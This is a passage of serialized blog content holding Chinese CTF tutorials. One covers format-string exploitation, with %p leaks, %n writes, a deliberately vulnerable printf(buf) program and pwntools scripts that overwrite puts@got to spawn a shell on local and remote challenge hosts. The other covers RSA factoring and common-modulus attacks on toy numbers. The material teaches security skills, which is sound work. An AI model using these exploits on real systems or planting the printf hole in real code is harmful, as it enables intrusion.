按点号切分，得到每个位置的值。\n\nfor i, v in enumerate(out):\n if v.endswith('00') and len(v) == 18:\n # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n print(f'possible canary at {i+6}: {v}')\n",[30,8249,8250,8255,8260,8264,8269,8274,8278,8283,8288,8293],{"__ignoreMap":28},[33,8251,8252],{"class":35,"line":36},[33,8253,8254],{},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n",[33,8256,8257],{"class":35,"line":47},[33,8258,8259],{},"# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\n",[33,8261,8262],{"class":35,"line":70},[33,8263,1909],{},[33,8265,8266],{"class":35,"line":80},[33,8267,8268],{},"out = p.recvall().decode().split('.')\n",[33,8270,8271],{"class":35,"line":452},[33,8272,8273],{},"# 按点号切分，得到每个位置的值。\n",[33,8275,8276],{"class":35,"line":458},[33,8277,1460],{"emptyLinePlaceholder":1373},[33,8279,8280],{"class":35,"line":464},[33,8281,8282],{},"for i, v in enumerate(out):\n",[33,8284,8285],{"class":35,"line":470},[33,8286,8287],{}," if v.endswith('00') and len(v) == 18:\n",[33,8289,8290],{"class":35,"line":476},[33,8291,8292],{}," # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n",[33,8294,8295],{"class":35,"line":482},[33,8296,8297],{}," print(f'possible canary at {i+6}: {v}')\n",[16,8299,8300],{},"泄露 libc 地址后：",[23,8302,8304],{"className":1238,"code":8303,"language":1240,"meta":28,"style":28},"libc.address = leaked_libc_addr - libc.symbols['puts']\n",[30,8305,8306],{"__ignoreMap":28},[33,8307,8308],{"class":35,"line":36},[33,8309,8303],{},[16,8311,8312],{},"与 ret2libc 的\"先泄露再计算\"思路完全一致。",[11,8314,8316],{"id":8315},"六核心步骤-4n-任意写","六、核心步骤 4：%n 任意写",[16,8318,8319,8321],{},[136,8320,138],{},"：理解\"写内存\"的原语，为覆盖 GOT 做准备。",[16,8323,8324,561,8326,8328,8329,8332,8333,8336],{},[136,8325,144],{},[30,8327,7855],{}," 把\"已打印字符数\"写入参数指向的地址。先用 ",[30,8330,8331],{},"%100c"," 精确控制打印量，再用 ",[30,8334,8335],{},"%N$n"," 写到目标地址。",[16,8338,8339,8341],{},[30,8340,7855],{}," 把\"当前已经打印的字符数\"写入参数指向的地址：",[23,8343,8346],{"className":8344,"code":8345,"language":175,"meta":28},[173],"%100c%7$n\n",[30,8347,8345],{"__ignoreMap":28},[16,8349,7172],{},[789,8351,8352,8357],{},[792,8353,8354,8356],{},[30,8355,8331],{}," 打印 100 个填充字符，已打印数变成 100。",[792,8358,8359,8362],{},[30,8360,8361],{},"%7$n"," 把 100 写入第 7 个参数指向的地址。",[16,8364,8365],{},"所以如果第 7 个参数恰好是我们输入里的一个地址，就能往那个地址写 100。写入宽度控制：",[490,8367,8368,8378],{},[493,8369,8370],{},[496,8371,8372,8375],{},[499,8373,8374],{},"说明符",[499,8376,8377],{},"写入字节数",[506,8379,8380,8389,8399],{},[496,8381,8382,8386],{},[511,8383,8384],{},[30,8385,7855],{},[511,8387,8388],{},"4 字节",[496,8390,8391,8396],{},[511,8392,8393],{},[30,8394,8395],{},"%hn",[511,8397,8398],{},"2 字节",[496,8400,8401,8406],{},[511,8402,8403],{},[30,8404,8405],{},"%hhn",[511,8407,8408],{},"1 字节",[11,8410,8412],{"id":8411},"七核心步骤-5fmtstr_payload-覆盖-got","七、核心步骤 5：fmtstr_payload 覆盖 GOT",[16,8414,8415,8417,8418,8420,8421,8423],{},[136,8416,138],{},"：把程序即将调用的 ",[30,8419,7593],{}," 改成我们的 ",[30,8422,1682],{},"，实现控制流劫持。",[16,8425,8426,561,8428,8431],{},[136,8427,144],{},[30,8429,8430],{},"puts@got"," 存的是 puts 真实地址；程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址，下一次调用就变成执行 win。验证方式：发送 payload 后看是否进入 shell。",[16,8433,8434,8435,561],{},"目标程序 ",[30,8436,8437],{},"fmt2.c",[23,8439,8441],{"className":816,"code":8440,"language":818,"meta":28,"style":28},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n system(\"/bin/sh\");\n}\n\nint main() {\n char buf[100];\n setvbuf(stdout, NULL, _IONBF, 0);\n printf(\"> \");\n fgets(buf, sizeof(buf), stdin);\n printf(buf); // 漏洞\n puts(\"Done\"); // 触发 puts@got → win\n return 0;\n}\n",[30,8442,8443,8447,8451,8455,8459,8463,8467,8471,8475,8479,8483,8487,8491,8495,8500,8504],{"__ignoreMap":28},[33,8444,8445],{"class":35,"line":36},[33,8446,1450],{},[33,8448,8449],{"class":35,"line":47},[33,8450,1455],{},[33,8452,8453],{"class":35,"line":70},[33,8454,1460],{"emptyLinePlaceholder":1373},[33,8456,8457],{"class":35,"line":80},[33,8458,1465],{},[33,8460,8461],{"class":35,"line":452},[33,8462,1470],{},[33,8464,8465],{"class":35,"line":458},[33,8466,1475],{},[33,8468,8469],{"class":35,"line":464},[33,8470,1460],{"emptyLinePlaceholder":1373},[33,8472,8473],{"class":35,"line":470},[33,8474,1508],{},[33,8476,8477],{"class":35,"line":476},[33,8478,7887],{},[33,8480,8481],{"class":35,"line":482},[33,8482,1514],{},[33,8484,8485],{"class":35,"line":1295},[33,8486,7896],{},[33,8488,8489],{"class":35,"line":1301},[33,8490,7901],{},[33,8492,8493],{"class":35,"line":1505},[33,8494,7906],{},[33,8496,8497],{"class":35,"line":1511},[33,8498,8499],{}," puts(\"Done\"); // 触发 puts@got → win\n",[33,8501,8502],{"class":35,"line":1517},[33,8503,1538],{},[33,8505,8506],{"class":35,"line":1523},[33,8507,1475],{},[23,8509,8511],{"className":25,"code":8510,"language":27,"meta":28,"style":28},"gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie\npwn checksec ./fmt2 # 需为 Partial RELRO，GOT 可写\n",[30,8512,8513,8529],{"__ignoreMap":28},[33,8514,8515,8517,8519,8522,8525,8527],{"class":35,"line":36},[33,8516,1556],{"class":39},[33,8518,1559],{"class":241},[33,8520,8521],{"class":43}," fmt2",[33,8523,8524],{"class":43}," fmt2.c",[33,8526,1568],{"class":241},[33,8528,1571],{"class":241},[33,8530,8531,8533,8535,8538],{"class":35,"line":47},[33,8532,1608],{"class":39},[33,8534,1611],{"class":43},[33,8536,8537],{"class":43}," ./fmt2",[33,8539,8540],{"class":1576}," # 需为 Partial RELRO，GOT 可写\n",[16,8542,8543],{},"利用脚本：",[23,8545,8547],{"className":1238,"code":8546,"language":1240,"meta":28,"style":28},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\n# context.binary 让 pwntools 自动识别架构与位数。\np = process('./fmt2')\n\noffset = 6\npayload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n# fmtstr_payload(offset, writes)：\n# 第一个参数 offset：输入在参数列表中的位置；\n# 第二个参数是字典 {目标地址: 要写入的值}。\n# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n\np.sendline(payload)\np.interactive()\n",[30,8548,8549,8553,8557,8562,8567,8572,8576,8581,8586,8591,8596,8601,8606,8611,8615,8619],{"__ignoreMap":28},[33,8550,8551],{"class":35,"line":36},[33,8552,1716],{},[33,8554,8555],{"class":35,"line":47},[33,8556,1460],{"emptyLinePlaceholder":1373},[33,8558,8559],{"class":35,"line":70},[33,8560,8561],{},"context.binary = elf = ELF('./fmt2')\n",[33,8563,8564],{"class":35,"line":80},[33,8565,8566],{},"# context.binary 让 pwntools 自动识别架构与位数。\n",[33,8568,8569],{"class":35,"line":452},[33,8570,8571],{},"p = process('./fmt2')\n",[33,8573,8574],{"class":35,"line":458},[33,8575,1460],{"emptyLinePlaceholder":1373},[33,8577,8578],{"class":35,"line":464},[33,8579,8580],{},"offset = 6\n",[33,8582,8583],{"class":35,"line":470},[33,8584,8585],{},"payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n",[33,8587,8588],{"class":35,"line":476},[33,8589,8590],{},"# fmtstr_payload(offset, writes)：\n",[33,8592,8593],{"class":35,"line":482},[33,8594,8595],{},"# 第一个参数 offset：输入在参数列表中的位置；\n",[33,8597,8598],{"class":35,"line":1295},[33,8599,8600],{},"# 第二个参数是字典 {目标地址: 要写入的值}。\n",[33,8602,8603],{"class":35,"line":1301},[33,8604,8605],{},"# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n",[33,8607,8608],{"class":35,"line":1505},[33,8609,8610],{},"# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n",[33,8612,8613],{"class":35,"line":1511},[33,8614,1460],{"emptyLinePlaceholder":1373},[33,8616,8617],{"class":35,"line":1517},[33,8618,1909],{},[33,8620,8621],{"class":35,"line":1523},[33,8622,1997],{},[16,8624,8625,8628],{},[30,8626,8627],{},"fmtstr_payload"," 自动完成：",[789,8630,8631,8636,8643,8652],{},[792,8632,797,8633,8635],{},[30,8634,1682],{}," 地址拆成低 2 字节和高 2 字节。",[792,8637,8638,8639,8642],{},"生成 ",[30,8640,8641],{},"%c"," 控制打印量。",[792,8644,8645,8646,264,8648,8651],{},"把两个目标地址（",[30,8647,8430],{},[30,8649,8650],{},"puts@got+2","）放到对应参数位置。",[792,8653,8654,8655,8657],{},"用 ",[30,8656,8395],{}," 分别写入。",[16,8659,8660,8661,8664,8665,8667],{},"预期结果：程序执行 ",[30,8662,8663],{},"puts(\"Done\")"," 时实际调用 ",[30,8666,2022],{},"，进入 shell。",[11,8669,2031],{"id":2030},[490,8671,8672,8682],{},[493,8673,8674],{},[496,8675,8676,8678,8680],{},[499,8677,1047],{},[499,8679,2042],{},[499,8681,2045],{},[506,8683,8684,8702,8714],{},[496,8685,8686,8688,8700],{},[511,8687,2052],{},[511,8689,8690,264,8692,264,8695,1125,8697],{},[30,8691,8627],{},[30,8693,8694],{},"FmtStr",[30,8696,2070],{},[30,8698,8699],{},"recvuntil",[511,8701,2074],{},[496,8703,8704,8706,8709],{},[511,8705,2079],{},[511,8707,8708],{},"看 RELRO、Canary、PIE",[511,8710,8711],{},[30,8712,8713],{},"pwn checksec ./fmt2",[496,8715,8716,8718,8721],{},[511,8717,7683],{},[511,8719,8720],{},"断点、看栈、验证参数位置",[511,8722,8723,264,8726],{},[30,8724,8725],{},"break main",[30,8727,2103],{},[11,8729,8731],{"id":8730},"九小-ctf-实战","九、小 CTF 实战",[16,8733,8734,8735,8738],{},"题目：远程运行 ",[30,8736,8737],{},"fmt2","（Partial RELRO、No PIE）。",[16,8740,8741,8743,8744,8747],{},[136,8742,144],{},"：与本地脚本唯一区别是 ",[30,8745,8746],{},"remote()"," 连远程；若远程提示与本地不同，先本地确认 offset 再改。",[23,8749,8751],{"className":1238,"code":8750,"language":1240,"meta":28,"style":28},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\np = remote('1.2.3.4', 10002)\n\npayload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[30,8752,8753,8757,8761,8765,8770,8774,8779,8783,8787],{"__ignoreMap":28},[33,8754,8755],{"class":35,"line":36},[33,8756,1716],{},[33,8758,8759],{"class":35,"line":47},[33,8760,1460],{"emptyLinePlaceholder":1373},[33,8762,8763],{"class":35,"line":70},[33,8764,8561],{},[33,8766,8767],{"class":35,"line":80},[33,8768,8769],{},"p = remote('1.2.3.4', 10002)\n",[33,8771,8772],{"class":35,"line":452},[33,8773,1460],{"emptyLinePlaceholder":1373},[33,8775,8776],{"class":35,"line":458},[33,8777,8778],{},"payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\n",[33,8780,8781],{"class":35,"line":464},[33,8782,1909],{},[33,8784,8785],{"class":35,"line":470},[33,8786,2203],{},[33,8788,8789],{"class":35,"line":476},[33,8790,1997],{},[16,8792,169],{},[23,8794,8797],{"className":8795,"code":8796,"language":175,"meta":28},[173],"flag{format_string}\n",[30,8798,8796],{"__ignoreMap":28},[11,8800,2224],{"id":2223},[16,8802,8803,8804,1125,8806,8808,8809,8811],{},"格式化字符串提供两种原语：",[30,8805,7834],{},[30,8807,7849],{}," 任意读，",[30,8810,7855],{}," 系列任意写。掌握偏移定位后，既可以泄露 canary/libc 辅助栈溢出，也可以直接覆盖 GOT 或函数指针拿 shell。",[1350,8813,8814],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":28,"searchDepth":47,"depth":47,"links":8816},[8817,8818,8819,8820,8821,8822,8823,8824,8825,8826],{"id":7805,"depth":70,"text":7806},{"id":7859,"depth":70,"text":7860},{"id":7938,"depth":70,"text":7939},{"id":7994,"depth":70,"text":7995},{"id":8162,"depth":70,"text":8163},{"id":8315,"depth":70,"text":8316},{"id":8411,"depth":70,"text":8412},{"id":2030,"depth":70,"text":2031},{"id":8730,"depth":70,"text":8731},{"id":2223,"depth":70,"text":2224},"格式化字符串漏洞：printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。",{"date":1366,"image":3260,"alt":8829,"tags":8830,"published":1373},"格式化字符串深入实战",[1370,1608,8831,1372],"格式化字符串","/blogs/ctf-pwn-format-string-deep-dive",{"title":7800,"description":8827},"blogs/18. ctf-pwn-format-string-deep-dive","3BARIEfzO4zPWgXrmyFfLGY_TycY4NGsa0XAo3Gs6Fo",{"id":8837,"title":8838,"body":8839,"description":9807,"extension":1364,"meta":9808,"navigation":1373,"ogImage":6692,"path":9812,"seo":9813,"stem":9814,"__hash__":9815},"content/blogs/19. ctf-crypto-rsa-deep-dive.md","RSA 深入实战：原理、小 n 分解与共模攻击",{"type":8,"value":8840,"toc":9795},[8841,8845,8848,8851,8874,8887,8889,8905,8909,8915,8918,8933,8937,8942,8947,9036,9038,9044,9051,9055,9060,9065,9069,9088,9090,9096,9102,9106,9111,9196,9198,9204,9213,9217,9225,9254,9258,9262,9272,9278,9282,9287,9292,9299,9305,9308,9314,9318,9481,9483,9489,9493,9560,9562,9623,9632,9634,9636,9642,9645,9649,9654,9668,9670,9676,9680,9689,9739,9741,9747,9751,9784,9786,9793],[11,8842,8844],{"id":8843},"一现实背景dh-与公钥密码学","一、现实背景：DH 与公钥密码学",[16,8846,8847],{},"HTTPS（TLS）流程中：先用 DH 协商对称密钥，再用 RSA/ECDSA 证书认证身份。DH 解决\"公开信道建立共享密钥\"，RSA 解决\"身份认证与加密\"。",[16,8849,8850],{},"DH 最小实现（见密码学全景篇）：",[23,8852,8854],{"className":1238,"code":8853,"language":1240,"meta":28,"style":28},"p, g = 0xffffffffffffffc5, 2\na, b = 1234567, 7654321\nA, B = pow(g, a, p), pow(g, b, p)\nassert pow(B, a, p) == pow(A, b, p) # 双方共享密钥一致\n",[30,8855,8856,8860,8864,8869],{"__ignoreMap":28},[33,8857,8858],{"class":35,"line":36},[33,8859,2891],{},[33,8861,8862],{"class":35,"line":47},[33,8863,2906],{},[33,8865,8866],{"class":35,"line":70},[33,8867,8868],{},"A, B = pow(g, a, p), pow(g, b, p)\n",[33,8870,8871],{"class":35,"line":80},[33,8872,8873],{},"assert pow(B, a, p) == pow(A, b, p) # 双方共享密钥一致\n",[16,8875,8876,8877,8880,8881,264,8883,8886],{},"RSA 的安全基础是：已知 ",[30,8878,8879],{},"n"," 求 ",[30,8882,16],{},[30,8884,8885],{},"q","（分解）在计算上不可行。CTF 题把参数做小或做错，让分解或绕过分解成为可能。",[11,8888,90],{"id":89},[23,8890,8891],{"className":25,"code":2478,"language":27,"meta":28,"style":28},[30,8892,8893],{"__ignoreMap":28},[33,8894,8895,8897,8899,8901,8903],{"class":35,"line":36},[33,8896,1425],{"class":39},[33,8898,106],{"class":43},[33,8900,2489],{"class":43},[33,8902,2492],{"class":43},[33,8904,2495],{"class":43},[11,8906,8908],{"id":8907},"三核心知识rsa-公式","三、核心知识：RSA 公式",[23,8910,8913],{"className":8911,"code":8912,"language":175,"meta":28},[173],"n = p × q\nφ(n) = (p-1)(q-1)\ne × d ≡ 1 (mod φ(n)) # d 是 e 的模逆元\n加密：c = m^e mod n\n解密：m = c^d mod n\n",[30,8914,8912],{"__ignoreMap":28},[16,8916,8917],{},"三个必须会用的 Python 运算：",[23,8919,8921],{"className":1238,"code":8920,"language":1240,"meta":28,"style":28},"pow(3, 4, 7) # 快速幂取模 = 4\npow(e, -1, phi) # 求 e 在模 phi 下的逆元\n",[30,8922,8923,8928],{"__ignoreMap":28},[33,8924,8925],{"class":35,"line":36},[33,8926,8927],{},"pow(3, 4, 7) # 快速幂取模 = 4\n",[33,8929,8930],{"class":35,"line":47},[33,8931,8932],{},"pow(e, -1, phi) # 求 e 在模 phi 下的逆元\n",[11,8934,8936],{"id":8935},"四核心步骤-1手算验证","四、核心步骤 1：手算验证",[16,8938,8939,8941],{},[136,8940,138],{},"：用最小参数亲手跑通 RSA 的生成与加解密，确认公式理解正确。",[16,8943,8944,8946],{},[136,8945,144],{},"：先算 n 与 φ(n)，再求 d（e 的模逆元），最后验证 pow(c,d,n) 能还原 m。这四步是后面所有攻击的基础。",[23,8948,8950],{"className":1238,"code":8949,"language":1240,"meta":28,"style":28},"p, q, e = 61, 53, 17\nn = p * q\n# n = 3233，公钥模数。\nphi = (p - 1) * (q - 1)\n# φ(n) = 60 × 52 = 3120，欧拉函数值。\nd = pow(e, -1, phi)\n# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n\nm = 65\nc = pow(m, e, n)\n# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\nprint(\"n =\", n)\nprint(\"phi =\", phi)\nprint(\"d =\", d)\nprint(\"c =\", c)\nprint(\"解密 =\", pow(c, d, n))\n# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[30,8951,8952,8957,8962,8967,8972,8977,8982,8987,8991,8996,9001,9006,9011,9016,9021,9026,9031],{"__ignoreMap":28},[33,8953,8954],{"class":35,"line":36},[33,8955,8956],{},"p, q, e = 61, 53, 17\n",[33,8958,8959],{"class":35,"line":47},[33,8960,8961],{},"n = p * q\n",[33,8963,8964],{"class":35,"line":70},[33,8965,8966],{},"# n = 3233，公钥模数。\n",[33,8968,8969],{"class":35,"line":80},[33,8970,8971],{},"phi = (p - 1) * (q - 1)\n",[33,8973,8974],{"class":35,"line":452},[33,8975,8976],{},"# φ(n) = 60 × 52 = 3120，欧拉函数值。\n",[33,8978,8979],{"class":35,"line":458},[33,8980,8981],{},"d = pow(e, -1, phi)\n",[33,8983,8984],{"class":35,"line":464},[33,8985,8986],{},"# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n",[33,8988,8989],{"class":35,"line":470},[33,8990,1460],{"emptyLinePlaceholder":1373},[33,8992,8993],{"class":35,"line":476},[33,8994,8995],{},"m = 65\n",[33,8997,8998],{"class":35,"line":482},[33,8999,9000],{},"c = pow(m, e, n)\n",[33,9002,9003],{"class":35,"line":1295},[33,9004,9005],{},"# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\n",[33,9007,9008],{"class":35,"line":1301},[33,9009,9010],{},"print(\"n =\", n)\n",[33,9012,9013],{"class":35,"line":1505},[33,9014,9015],{},"print(\"phi =\", phi)\n",[33,9017,9018],{"class":35,"line":1511},[33,9019,9020],{},"print(\"d =\", d)\n",[33,9022,9023],{"class":35,"line":1517},[33,9024,9025],{},"print(\"c =\", c)\n",[33,9027,9028],{"class":35,"line":1523},[33,9029,9030],{},"print(\"解密 =\", pow(c, d, n))\n",[33,9032,9033],{"class":35,"line":1529},[33,9034,9035],{},"# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[16,9037,2432],{},[23,9039,9042],{"className":9040,"code":9041,"language":175,"meta":28},[173],"n = 3233\nphi = 3120\nd = 2753\nc = 2790\n解密 = 65\n",[30,9043,9041],{"__ignoreMap":28},[16,9045,9046,9047,9050],{},"攻击者只有 ",[30,9048,9049],{},"(n=3233, e=17, c=2790)","，没有 d。要解密，第一步就是分解 n。",[11,9052,9054],{"id":9053},"五核心步骤-2小-n-分解","五、核心步骤 2：小 n 分解",[16,9056,9057,9059],{},[136,9058,138],{},"：拿到公钥后第一步永远是\"尝试分解 n\"——一旦分解成功，私钥直接可算。",[16,9061,9062,9064],{},[136,9063,144],{},"：n 小 → 本地工具直接分解；n 大 → 先查 FactorDB 是否有人分解过。分解出 p、q 后按公式算出 d 解密。",[147,9066,9068],{"id":9067},"_51-用-sympy-分解","5.1 用 sympy 分解",[23,9070,9072],{"className":1238,"code":9071,"language":1240,"meta":28,"style":28},"from sympy import factorint\n\nprint(factorint(3233))\n",[30,9073,9074,9079,9083],{"__ignoreMap":28},[33,9075,9076],{"class":35,"line":36},[33,9077,9078],{},"from sympy import factorint\n",[33,9080,9081],{"class":35,"line":47},[33,9082,1460],{"emptyLinePlaceholder":1373},[33,9084,9085],{"class":35,"line":70},[33,9086,9087],{},"print(factorint(3233))\n",[16,9089,2432],{},[23,9091,9094],{"className":9092,"code":9093,"language":175,"meta":28},[173],"{53: 1, 61: 1}\n",[30,9095,9093],{"__ignoreMap":28},[16,9097,9098,9099,301],{},"得到 ",[30,9100,9101],{},"p=53, q=61",[147,9103,9105],{"id":9104},"_52-完整解密验证公式","5.2 完整解密（验证公式）",[16,9107,9108,9110],{},[136,9109,144],{},"：分解得到 p、q → 算 φ(n) → 算 d → pow(c,d,n) → long_to_bytes 转回文本。",[23,9112,9114],{"className":1238,"code":9113,"language":1240,"meta":28,"style":28},"from Crypto.Util.number import long_to_bytes\n# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n\nn = 3233\ne = 17\nc = 2790\np, q = 53, 61\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nm = pow(c, d, n)\n# 解密：m = c^d mod n。\n\nprint(\"m =\", m)\nprint(long_to_bytes(m))\n# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[30,9115,9116,9121,9126,9130,9135,9140,9145,9150,9154,9158,9162,9167,9172,9176,9181,9186,9191],{"__ignoreMap":28},[33,9117,9118],{"class":35,"line":36},[33,9119,9120],{},"from Crypto.Util.number import long_to_bytes\n",[33,9122,9123],{"class":35,"line":47},[33,9124,9125],{},"# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n",[33,9127,9128],{"class":35,"line":70},[33,9129,1460],{"emptyLinePlaceholder":1373},[33,9131,9132],{"class":35,"line":80},[33,9133,9134],{},"n = 3233\n",[33,9136,9137],{"class":35,"line":452},[33,9138,9139],{},"e = 17\n",[33,9141,9142],{"class":35,"line":458},[33,9143,9144],{},"c = 2790\n",[33,9146,9147],{"class":35,"line":464},[33,9148,9149],{},"p, q = 53, 61\n",[33,9151,9152],{"class":35,"line":470},[33,9153,1460],{"emptyLinePlaceholder":1373},[33,9155,9156],{"class":35,"line":476},[33,9157,8971],{},[33,9159,9160],{"class":35,"line":482},[33,9161,8981],{},[33,9163,9164],{"class":35,"line":1295},[33,9165,9166],{},"m = pow(c, d, n)\n",[33,9168,9169],{"class":35,"line":1301},[33,9170,9171],{},"# 解密：m = c^d mod n。\n",[33,9173,9174],{"class":35,"line":1505},[33,9175,1460],{"emptyLinePlaceholder":1373},[33,9177,9178],{"class":35,"line":1511},[33,9179,9180],{},"print(\"m =\", m)\n",[33,9182,9183],{"class":35,"line":1517},[33,9184,9185],{},"print(long_to_bytes(m))\n",[33,9187,9188],{"class":35,"line":1523},[33,9189,9190],{},"# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n",[33,9192,9193],{"class":35,"line":1529},[33,9194,9195],{},"# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[16,9197,2432],{},[23,9199,9202],{"className":9200,"code":9201,"language":175,"meta":28},[173],"m = 65\nb'A'\n",[30,9203,9201],{"__ignoreMap":28},[16,9205,9206,9209,9210,9212],{},[30,9207,9208],{},"65"," 对应的 ASCII 字符是 ",[30,9211,1923],{},"。真实的明文是 flag 对应的长整数，但解密公式完全相同。",[147,9214,9216],{"id":9215},"_53-用-factordb-查","5.3 用 FactorDB 查",[16,9218,9219,9220,9224],{},"如果 n 太大本地分解不动，去 ",[2500,9221,9222],{"href":9222,"rel":9223},"https://factordb.com",[2504]," 粘贴 n 查询，或：",[23,9226,9228],{"className":1238,"code":9227,"language":1240,"meta":28,"style":28},"from factordb.factordb import FactorDB\n\nf = FactorDB(n)\nf.connect()\np, q = f.get_factor_list()\n",[30,9229,9230,9235,9239,9244,9249],{"__ignoreMap":28},[33,9231,9232],{"class":35,"line":36},[33,9233,9234],{},"from factordb.factordb import FactorDB\n",[33,9236,9237],{"class":35,"line":47},[33,9238,1460],{"emptyLinePlaceholder":1373},[33,9240,9241],{"class":35,"line":70},[33,9242,9243],{},"f = FactorDB(n)\n",[33,9245,9246],{"class":35,"line":80},[33,9247,9248],{},"f.connect()\n",[33,9250,9251],{"class":35,"line":452},[33,9252,9253],{},"p, q = f.get_factor_list()\n",[11,9255,9257],{"id":9256},"六核心步骤-3共模攻击","六、核心步骤 3：共模攻击",[147,9259,9261],{"id":9260},"_61-场景","6.1 场景",[16,9263,9264,9265,9267,9268,9271],{},"同一个 ",[30,9266,8879],{},"、两个互质的 ",[30,9269,9270],{},"e1, e2","、同一明文：",[23,9273,9276],{"className":9274,"code":9275,"language":175,"meta":28},[173],"c1 = m^e1 mod n\nc2 = m^e2 mod n\n",[30,9277,9275],{"__ignoreMap":28},[147,9279,9281],{"id":9280},"_62-数学原理","6.2 数学原理",[16,9283,9284,9286],{},[136,9285,138],{},"：理解为什么\"两个密文能拼出明文\"。",[16,9288,9289,9291],{},[136,9290,144],{},"：扩展欧几里得求出 a、b 使 a×e1+b×e2=1；把两个密文分别取 a、b 次方再相乘，指数恰好合并成 1，明文就还原了。验证方式：恢复结果与原始 m 相等。",[16,9293,9294,9295,9298],{},"扩展欧几里得算法求出 ",[30,9296,9297],{},"a, b"," 使：",[23,9300,9303],{"className":9301,"code":9302,"language":175,"meta":28},[173],"a × e1 + b × e2 = 1\n",[30,9304,9302],{"__ignoreMap":28},[16,9306,9307],{},"则：",[23,9309,9312],{"className":9310,"code":9311,"language":175,"meta":28},[173],"c1^a × c2^b\n= m^(a×e1) × m^(b×e2)\n= m^(a×e1 + b×e2)\n= m^1 = m (mod n)\n",[30,9313,9311],{"__ignoreMap":28},[147,9315,9317],{"id":9316},"_63-完整代码","6.3 完整代码",[23,9319,9321],{"className":1238,"code":9320,"language":1240,"meta":28,"style":28},"def egcd(a, b):\n # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n if b == 0:\n return a, 1, 0\n g, x, y = egcd(b, a % b)\n return g, y, x - (a // b) * y\n\nn = 3233\ne1, e2 = 17, 19\nm = 65\nc1 = pow(m, e1, n) # 2790：e1 加密结果\nc2 = pow(m, e2, n) # 232：e2 加密结果\n\n_, a, b = egcd(e1, e2)\n# 忽略第一个返回值（gcd=1），取 a、b。\nprint(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n\n# 负指数要先取模逆元\nif a \u003C 0:\n c1 = pow(pow(c1, -1, n), -a, n)\n # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\nelse:\n c1 = pow(c1, a, n)\nif b \u003C 0:\n c2 = pow(pow(c2, -1, n), -b, n)\nelse:\n c2 = pow(c2, b, n)\n\nrecovered = (c1 * c2) % n\n# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\nprint(\"恢复 m =\", recovered)\n# 预期 65，与原始 m 相等，攻击成功。\n",[30,9322,9323,9328,9333,9338,9343,9348,9353,9357,9361,9366,9370,9375,9380,9384,9389,9394,9399,9404,9408,9413,9418,9423,9428,9433,9438,9443,9448,9452,9457,9461,9466,9471,9476],{"__ignoreMap":28},[33,9324,9325],{"class":35,"line":36},[33,9326,9327],{},"def egcd(a, b):\n",[33,9329,9330],{"class":35,"line":47},[33,9331,9332],{}," # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n",[33,9334,9335],{"class":35,"line":70},[33,9336,9337],{}," if b == 0:\n",[33,9339,9340],{"class":35,"line":80},[33,9341,9342],{}," return a, 1, 0\n",[33,9344,9345],{"class":35,"line":452},[33,9346,9347],{}," g, x, y = egcd(b, a % b)\n",[33,9349,9350],{"class":35,"line":458},[33,9351,9352],{}," return g, y, x - (a // b) * y\n",[33,9354,9355],{"class":35,"line":464},[33,9356,1460],{"emptyLinePlaceholder":1373},[33,9358,9359],{"class":35,"line":470},[33,9360,9134],{},[33,9362,9363],{"class":35,"line":476},[33,9364,9365],{},"e1, e2 = 17, 19\n",[33,9367,9368],{"class":35,"line":482},[33,9369,8995],{},[33,9371,9372],{"class":35,"line":1295},[33,9373,9374],{},"c1 = 